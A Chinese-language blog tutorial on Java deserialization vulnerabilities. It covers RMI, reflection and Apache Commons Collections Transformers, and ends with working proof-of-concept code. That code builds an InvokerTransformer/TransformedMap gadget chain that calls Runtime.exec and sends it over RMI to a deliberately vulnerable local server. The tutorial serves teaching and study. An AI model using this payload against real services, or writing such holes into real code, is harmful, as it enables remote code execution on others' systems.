1 序列化与反序列化

1.1 概念

  • 序列化: 将数据结构或对象转换成二进制串的过程
  • 反序列化:将在序列化过程中所生成的二进制串转换成数据结构或者对象的过程

1.2 使用场景

  • 当你想把的内存中的对象状态保存到一个文件中或者数据库中时候。
  • 当你想用套接字在网络上传送对象的时候。
  • 当你想通过 RMI 传输对象的时候。

2 RMI

2.1 什么是 RMI

RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个 Java 虚拟机的对象调用运行在另一个 Java 虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

2.2 使用例子

2.2.1 代码

// RMI 接口
package rmi; import java.rmi.Remote;
import java.rmi.RemoteException; public interface rmidemo extends Remote {
public String hello() throws RemoteException;
}
// RMI 类
package rmi; import org.apache.commons.collections.map.TransformedMap; import java.rmi.RemoteException;
import java.rmi.serverdemo.UnicastRemoteObject; public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo { protected RemoteHelloWorld() throws RemoteException {
System.out.println("构造方法");
} @Override
public String hello() throws RemoteException {
System.out.println("Hello invoked!");
return "Hello,world!";
}
}
// 服务端程序
package rmi; import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; public class server {
public static void main(String[] args) throws RemoteException {
rmidemo hello = new RemoteHelloWorld();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("hello", hello);
}
}
// 客户端程序
package rmi; import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException; public class clientdemo {
public static void main(String[] args) throws RemoteException, MalformedURLException, NotBoundException {
// lookup 服务器的远程类
rmidemo hello = (rmidemo) Naming.lookup("rmi://localhost:1099/hello");
// 远程调用服务器函数
System.out.println(hello.hello());
}
}

2.2.2 运行结果

服务器端:

客户端:

可以看出通过 RMI 只能调用服务器上已经存在的函数,不能直接把我们的代码传输到服务器上执行。

3 反射

3.1 什么是反射

对于任意一个类,都能够得到这个类的所有属性和方法;对于任意一个对象,都能够调用它的任意方法和属性;这种动态获取信息以及动态调用对象方法的功能称为 Java 语言的反射机制。

3.2 例子

package reflectiondemo;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; public class TestReflection { public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class RuntimeClass = Class.forName("java.lang.Runtime");
Method method = RuntimeClass.getMethod("getRuntime");
Object runtime = method.invoke(RuntimeClass);
RuntimeClass.getMethod("exec", String.class).invoke(runtime, "gnome-calculator");
} }

可以看到,在实例的代码中,并没有使用 Runtime 这个关键字,但是可以直接使用 Runtime 这个类及其实现的方法完成命令执行。在实际漏洞利用的过程中,软件开发者肯定不会帮攻击者导入好漏洞利用需要用到的类,所以使用反射就非常关键。

但是这段代码只能在本地执行,没办法通过 RMI 传输到服务器上执行。

4 Transformer

4.1 定义

此抽象类的实例可以将源树转换为结果树。

可以使用 TransformerFactory.newTransformer 方法获得此类的实例。 然后,该实例可用于处理来自各种源的XML,并将转换输出写入各种接收器。

此类的对象不能在并发运行的多个线程中使用。 不同的线程可以同时使用不同的变换器。

可以多次使用 Transformer 。 变换之间保留参数和输出属性。

可以将 Transformer 理解为一个转换器,不同的 Transformer 实现不同的功能,通过调用 transform 方法来使用 Transformer 的具体功能。

4.2 常用 Transformer 介绍

4.2.1 ConstantTransformer

每次返回相同常量的转换器实现。

// 构造函数
public ConstantTransformer(Object constantToReturn) {
super();
iConstant = constantToReturn;
} // transform 方法
public Object transform(Object input) {
return iConstant;
}

从源码可以看出,它的功能很简单,就是直接返回传入的对象。

4.2.2 InvokerTransformer

通过反射创建新对象实例的转换器实现。

// 构造函数
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
} // tranform 方法
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

从源码可以看出, InvokerTransformer 的作用是通过反射调用指定类的指定方法,并将调用结果返回。

4.2.1 ChainedTransformer

将指定的转换器链接在一起的转换器实现。

// 构造函数
public ChainedTransformer(Transformer[] transformers) {
super();
iTransformers = transformers;
} // transform 方法
public Object transform(Object object) {
for (int i = 0; i < iTransformers.length; i++) {
object = iTransformers[i].transform(object);
}
return object;
}

从源码可以看出, ChainedTransformer 的构造函数接收一个 Transformer 的列表,调用 transform 方法时,接收一个对象参数,使用该列表中的每一个 Transformer 对该对象参数进行 transform 操作,并最终返回传入的对象参数。

4.3 实例

使用 Transformer,我们可以将上面反射的例子改一下。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer; import java.io.IOException; public class TestTransform { public static void main(String[] args) throws IOException {
// 构造一个 Transformer 列表
Transformer[] transformers = new Transformer[] {
// 使用 ConstantTransformer 得到一个 Runtime.class
new ConstantTransformer(Runtime.class),
// 使用 InvokerTransformer 通过反射机制调用 getRuntime 方法
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", null }),
// 使用 InvokerTransformer 通过反射机制调用 调用 invoke 方法
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, null }),
// 使用 InvokerTransformer 通过反射机制调用 exec 方法,实现命令执行
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "gnome-calculator" })
};
// 使用 ChainedTransformer 将这些 Transformer 连接起来
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 对列表中的 Transformer 的 Transform 方法逐个调用
chainedTransformer.transform("1");
}
}

使用 Transformer 改写这段代码,是为了将命令执行的操作从代码转换成对象,这样就可以通过网络传输了。

此时,我们只需要通过 RMI 将 chainedTransformer 这个对象传输到服务器上,调用 transform 方法,就可以触发代码执行。

5 反序列化漏洞实例

5.1 TransformedMap

装饰另一个 Map 以转换添加的对象。

简单来说就是给普通的 Map 对象添加 transform 功能,查看源码:

// 可以使用该方法将普通 Map 转换为 TransformedMap
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
} // 构造函数
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
// 主要是这里,将参数直接赋值给 valueTransformer 了
this.valueTransformer = valueTransformer;
} protected Object transformValue(Object object) {
if (valueTransformer == null) {
return object;
}
// 注意,这里会调用 transform 方法
return valueTransformer.transform(object);
} // put 方法会调用 transformValue 方法
public Object put(Object key, Object value) {
key = transformKey(key);
value = transformValue(value);
return getMap().put(key, value);
}

简单来说,我们可以将一个普通的 Map 转换成 TransformedMap,然后通过 RMI 传输到服务器上,找到服务器上调用 Map.put 的地方,就可以实现命令执行。

5.2 漏洞原理

5.3 代码

// rmidemo.java
package rmi; import java.rmi.Remote;
import java.rmi.RemoteException; // 定义一个 Remote 接口
public interface rmidemo extends Remote {
// 声明一个函数,注意这个函数可以传入一个参数,这是漏洞利用的点
public String hello(Object obj) throws RemoteException;
} // RemoteHelloWorld.java
package rmi; import org.apache.commons.collections.map.TransformedMap; import java.rmi.RemoteException;
import java.rmi.serverdemo.UnicastRemoteObject; // 定义一个类实现上面的 Remote 接口
public class RemoteHelloWorld extends UnicastRemoteObject implements rmidemo { protected RemoteHelloWorld() throws RemoteException {
System.out.println("构造方法");
} // 从远程调用的客户端获取参数
@Override
public String hello(Object obj) throws RemoteException {
System.out.println("Hello invoked!");
TransformedMap map = (TransformedMap) obj;
// 漏洞产生的位置,TransformedMap 的 put 方法会调用 transform 方法
// 在本例中,只要能够触发 obj 的 transform 方法就可以实现代码执行
// 这虽然是我故意写的漏洞,但是日常编码过程中很难想象到 put 操作居然会导致命令执行
map.put("1", "1");
return "Hello,world!";
}
} // serverdemo.java
package rmi; import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry; // 服务器端代码
public class serverdemo {
public static void main(String[] args) throws RemoteException {
rmidemo hello = new RemoteHelloWorld();
Registry registry = LocateRegistry.createRegistry(1099);
registry.rebind("hello", hello);
}
} // clientdemo.java
package rmi; import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap; import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.rmi.Naming;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.util.HashMap;
import java.util.Map; // 客户端代码
public class clientdemo {
public static void main(String[] args) throws RemoteException, NotBoundException, MalformedURLException {
rmidemo hello = (rmidemo) Naming.lookup("rmi://localhost:1099/hello");
// 通过 RMI 提交 payload
System.out.println(hello.hello(getPayload()));
} // 构造恶意对象
public static Object getPayload() {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", null }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, null }),
new InvokerTransformer("exec", new Class[] { String.class }, new Object[] { "gnome-calculator" })
};
// ChainedTransformer 的特性,会对传入的 Transformer 数组逐个执行 transform
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "value");
// 将普通 Map 转换成 TransformedMap
Map transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
return transformedMap;
}
}

6 总结

Java 反序列化漏洞的利用,核心思想在于构造一个恶意对象,通过 RMI 远程调用把恶意对象传输到服务器,通过触发恶意对象的 transform 方法或者其他可以执行命令的方法,实现命令执行。

7 参考文章

从原理学习Java反序列化的更多相关文章

  1. 通过WebGoat学习java反序列化漏洞

    首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...

  2. 从使用到原理学习Java线程池

    线程池的技术背景 在面向对象编程中,创建和销毁对象是很费时间的,因为创建一个对象要获取内存资源或者其它更多资源.在Java中更是如此,虚拟机将试图跟踪每一个对象,以便能够在对象销毁后进行垃圾回收. 所 ...

  3. 【转载】从使用到原理学习Java线程池

    线程池的技术背景 在面向对象编程中,创建和销毁对象是很费时间的,因为创建一个对象要获取内存资源或者其它更多资源.在Java中更是如此,虚拟机将试图跟踪每一个对象,以便能够在对象销毁后进行垃圾回收. 所 ...

  4. java反序列化漏洞原理研习

    零.Java反序列化漏洞 java的安全问题首屈一指的就是反序列化漏洞,可以执行命令啊,甚至直接getshell,所以趁着这个假期好好研究一下java的反序列化漏洞.另外呢,组里多位大佬对反序列化漏洞 ...

  5. 关于metaspolit中进行JAVA反序列化渗透RMI的原理分析

    一.背景: 这里需要对java反序列化有点了解,在这里得推广下自己的博客嘛,虽然写的不好,广告还是要做的.原谅我: 1.java反序列化漏洞原理研习 2.java反序列化漏洞的检测 二.攻击手法简介 ...

  6. 【java并发编程艺术学习】(四)第二章 java并发机制的底层实现原理 学习记录(二) synchronized

    章节介绍 本章节主要学习 Java SE 1.6 中为了减少获得锁 和 释放锁 时带来的性能消耗 而引入的偏向锁 和 轻量级锁,以及锁的存储结构 和 升级过程. synchronized实现同步的基础 ...

  7. 【java并发编程艺术学习】(三)第二章 java并发机制的底层实现原理 学习记录(一) volatile

    章节介绍 这一章节主要学习java并发机制的底层实现原理.主要学习volatile.synchronized和原子操作的实现原理.Java中的大部分容器和框架都依赖于此. Java代码 ==经过编译= ...

  8. Java反序列化漏洞原理解析(案例未完善后续补充)

    序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 java的反序列化 序列化就是将对象转换为流,利于储存和传输的格式 反序列化与序列化相反,将流转换为对象 例如:json序列化.XML序列 ...

  9. JAVA反序列化漏洞基础原理

    JAVA反序列化漏洞基础原理 1.1 什么是序列化和反序列化? Java序列化是指把Java对象转换为字节序列的过程: Java反序列化是指把字节序列恢复为Java对象的过程: 1.2 为什么要序列化 ...

随机推荐

  1. Java实现二叉搜索树

    原创:转载需注明原创地址 https://www.cnblogs.com/fanerwei222/p/11406176.html 尝试一下用Java实现二叉搜索树/二叉查找树,记录自己的学习历程. 1 ...

  2. go基础——switch语法

    package main import "fmt" /* switch语法结构: switch 变量名 { case 数值1:分支1 case 数值2:分支2 ... defaul ...

  3. 作业2.7_3(给UVA548 树 Tree单独一个帖子)🍺

    代码:(输入函数很香建议保留)我不理解他是绿的但 The Blocks Problem 是黄的 #include<bits/stdc++.h> using namespace std; i ...

  4. elasticsearch按URL查询

    排序查询:localhost:9200/get-together/_search?sort=date:asc, 排序以及按字段查询:localhost:9200/get-together/_searc ...

  5. Solution -「NOI 2016」「洛谷 P1587」循环之美

    \(\mathcal{Description}\)   Link.   给定 \(n,m,k\),求 \(x\in [1,n]\cap\mathbb N,y\in [1,m]\cap \mathbb ...

  6. Solution -「UR #2」「UOJ #32」跳蚤公路

    \(\mathcal{Description}\)   Link.   给定一个 \(n\) 个点 \(m\) 条边的带权有向图,每条边还有属性 \(s\in\{-1,0,1\}\).对于每个 \(u ...

  7. C语言strtok_s函数

    strtok_s 在C语言中的作用是分割出一个字符串中的单词 在MSDN上参数表: strtok_s strToken String containing token or tokens. strDe ...

  8. 关于mybatis,需要掌握的基础

    目录 ❀ 总结 mybatis,需要掌握的基础如下: 1.了解ORM 思想.ORM思想的作用.映射配置的两种方式 2.MyBatis开发流程(基本使用) 3.日志框架 4.了解mybatis生命周期并 ...

  9. 2020年的第一天-我的IDEA出现This license ... has been cancelled

    IDEA激活在1月3日的早上,激活码被取消了.提示:This license ... has been cancelled. 经过查询.解决方法教程无非是. ¥%--&*(激活码... 210 ...

  10. axios请求方式

    `// 使用默认进行请求(默认是get) axios({ url: "http://localhost:9999/student/student/getAllStudent" }) ...